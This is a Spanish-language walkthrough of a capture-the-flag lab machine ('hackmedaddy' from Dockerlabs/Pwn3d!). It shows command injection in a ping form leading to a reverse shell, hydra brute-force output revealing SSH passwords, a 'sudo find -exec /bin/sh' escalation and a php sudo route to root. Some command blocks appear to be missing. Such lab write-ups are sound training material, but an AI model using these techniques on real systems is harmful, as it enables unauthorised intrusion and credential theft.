Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unziphackmedaddy.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_run.shhackmedaddy.tar
Info:
██████╗ ██╗ ██╗███╗ ██╗██████╗ ██████╗ ██╗
██╔══██╗██║ ██║████╗ ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║ ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║ ██║╚═╝
██║ ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═╝
==
@+:@ @##@
@++:-----+@ @@#+:----:+#
#-+-----:+:---------:
*::-----++-----::::#
::------+:--------:
#-+------+:-::-----#@
*::+=@@#++-------::@
@+= @++::+#@@@#*#
#-@
*+#++@
+-:::+-@
:-:+:::+
@+::*::::
*::++-::*
=:--:-:++ @-#
#*:---:--++@ @@
@::-:--++*
@::-:++#
*++*
:: Plataforma de máquinas vulnerables ::
:: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::
█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
█ FLAG{Pwn3d!_is_awesome!} █
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
[✔] bc ya está instalado.
[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual
[✔] Activando máquina virtual
[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Vemos que hay un puerto 80 en el que aparentemente no hay mucho por hacer, por lo que fuzzearemos de forma mas profunda.
Gobuster
Info:
Vemos varios archivos interesantes, si leemos el /info.txt veremos lo siguiente.
Nos da una pista de que en los comandos que se van pasando cuando tu le das al boton de Ejecutar Comando en la pagina principal, aparece uno llamado README.txt que contiene palabras de las cuales 1 sirve como directorio para la URL, por lo que cogeremos esa lista de palabras y le tiraremos un gobuster.
fuzz.txt
Info:
Vemos que hay coincidencia con una y si lo metemos en la URL de la siguiente forma.
Veremos un archivo llamado d05notfound.php por lo que nos meteremos en el y veremos otra pagina en la que hay mucha informacion, pero si bajamos a bajo del todo, veremos algo interesante, donde pone Introduzca la dirección IP, si ponemos hay nuestra IP o la que sea va a realizar un ping, pero no se va a ver en la pagina tendremos que darle a inspeccionar codigo y veremos los resultados del ping.
Pero mas abajo poner resultados de comando: por lo que da pie a que puedes concatenar comandos, probaremos a introducir el siguiente comando.
Lo ejecutamos y visualizamos de nuevo el codigo.
Por lo que vemos funciona, ahora intentaremos hacernos una Reverse Shell hacia la maquina con esta vulnerabildiad de la siguiente forma.
Reverse Shell
Pero antes estaremos a la escucha para capturar la peticion.
Y ahora enviaremos el siguiente comando adaptandolo a nuestras necesidades.
Una vez enviado el comando, si nos vamos a donde teniamos la escucha veremos que nos ha creado una shell y si hacemos whoami veremos que somos www-data.
Por lo que sanitizaremos la shell.
Sanitizar la shell
Escalate user e1i0t
Nos iremos a la carpeta del usuario e1i0t y veremos un archivo llamado nota.txt, si la leemos veremos lo siguiente.
Nos da una pista de que tiene una agenda con las contarseñas y seguramente una de ellas sea la del usuario e1i0t, si nos vamos a la carpeta documents/ veremos 2 archivos y el que nos interesa es el llamado agenda.txt, por lo que lo utilizaremos como diccionario de palabras para saber la contarseña de e1i0t.
agenda.txt
hydra
Info:
Por lo que vemos nos saca las credenciales del usuario, asi que nos conectaremos por SSH mejor con dicho usuario.
SSH
Metemos la contraseña eliotelmejor y ya estariamos dentro.
Leemos la flag del usuario.
user.txt
Escalate user an0n1mat0
Si hacemos sudo -l veremos lo siguiente.
Por lo que podemos ejecutar como el usuario an0n1mat0 el binario find, con este binario hay una vulnerabilidad de permisos, si hacemos lo siguiente seremos el usuario an0n1mat0.
Ejecutaremos /bin/bash para obtener una shell mejor y leeremos la flag de este usuario.
user2.txt
Escalate Privileges
Si hacemos sudo -l veremos que nos pedira contraseña, cosa que no tenemos, pero si investigamos mas, en la home del usuario an0n1mat0 veremos que hay un archivo llamado nota.txt que contiene lo siguiente.
Nos da una pista de que hay una carpeta secreta por alguna parte del sistema, por lo que la buscaremos.
Info:
Vemos que en la propia raiz hay una carpeta llamada asi, si vamos dentro de ella veremos un archivo llamado confidencial.txt que contiene lo siguiente.
Nos da otra pista de que en alguna parte hay un archivo llamado passwords_users.txt por lo que lo buscaremos.
Info:
Y veremos que esta en esa ubicacion, si leemos el archivo pone lo siguiente.
Nos comenta que la contraseña de este usuario esta a medias, por lo que tendremos que generar un diccionario sustituyendo esas dos X's por letras del abecedario minusculas, lo haremos con la siguiente herramienta.
mp64
Con esto habremos generado un diccionario de palabras con todas las posibles combinaciones de ese nombre sustituyendo ?l?l por letras del abecedario en minusculas.
hydra
Info:
Por lo que vemos nos saca las credenciales, por lo que volveremos a la terminal y ahora si haremos sudo -l, meteremos la contraseña obtenida por hydra y veremos lo siguiente.
Por lo que podremos ejecutar el binario de php como root, haremos lo siguiente.
URL = http://<IP>/info.txt
#Contenido
Look, I told Eliot to remove those words from the README.txt because it could be a big security flaw in our HTML folder.
connect to [192.168.5.145] from (UNKNOWN) [172.19.0.2] 46450
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Reminder:
Delete my passwords from the agenda, I don't want to screw up with the boss again.
By e1i0t
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-13 11:05:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 107 login tries (l:1/p:107), ~2 tries per task
[DATA] attacking ssh://172.19.0.2:22/
[22][ssh] host: 172.19.0.2 login: e1i0t password: eliotelmejor
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-13 11:05:51
ssh e1i0t@<IP>
d8109448593f23776d57bd512f322eff
Matching Defaults entries for e1i0t on 63ccda3ff003:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User e1i0t may run the following commands on 63ccda3ff003:
(an0n1mat0 : an0n1mat0) NOPASSWD: /bin/find
sudo -u an0n1mat0 find . -exec /bin/sh \; -quit
$ whoami
an0n1mat0
11ab9a33cbd06b3325de00c7e32c0db8
The boss told me that he will soon remove your privileges to be able to access your secret folder.
find / -name 'secret' 2>/dev/null
/secret
There is a super secret file that no one but the boss should read, because there are some user passwords.
You have to move the passwords_users.txt file to a more secure place.
find / -name 'passwords_users.txt' 2>/dev/null
/usr/local/bin/passwords_users.txt
User passwords:
e1i0t:eliotelmejor
an0n1mat0:XXyanonymous
root:root
There are some outdated passwords, but I don't remember an0n1mat0's entire password, I know that where the two
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-13 11:21:07
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 676 login tries (l:1/p:676), ~11 tries per task
[DATA] attacking ssh://172.19.0.2:22/
[STATUS] 419.00 tries/min, 419 tries in 00:01h, 290 to do in 00:01h, 31 active
[22][ssh] host: 172.19.0.2 login: an0n1mat0 password: soyanonymous
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 15 final worker threads did not complete until end.
[ERROR] 15 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-13 11:22:48
Matching Defaults entries for an0n1mat0 on 63ccda3ff003:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User an0n1mat0 may run the following commands on 63ccda3ff003:
(ALL : ALL) /bin/php